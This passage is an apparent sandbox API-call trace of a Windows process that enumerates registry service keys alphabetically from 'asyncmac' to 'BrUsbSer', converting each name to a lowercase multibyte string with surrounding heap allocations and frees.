dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.733] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0250.733] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.733] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.734] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.734] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.734] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0250.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.735] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0250.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0250.735] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.735] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.745] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.745] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0250.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.746] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0250.747] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.747] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0250.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0250.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0250.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0250.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.748] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.748] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0250.748] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.749] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0250.749] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.749] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.750] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.750] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.750] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.784] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0250.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.785] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.785] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 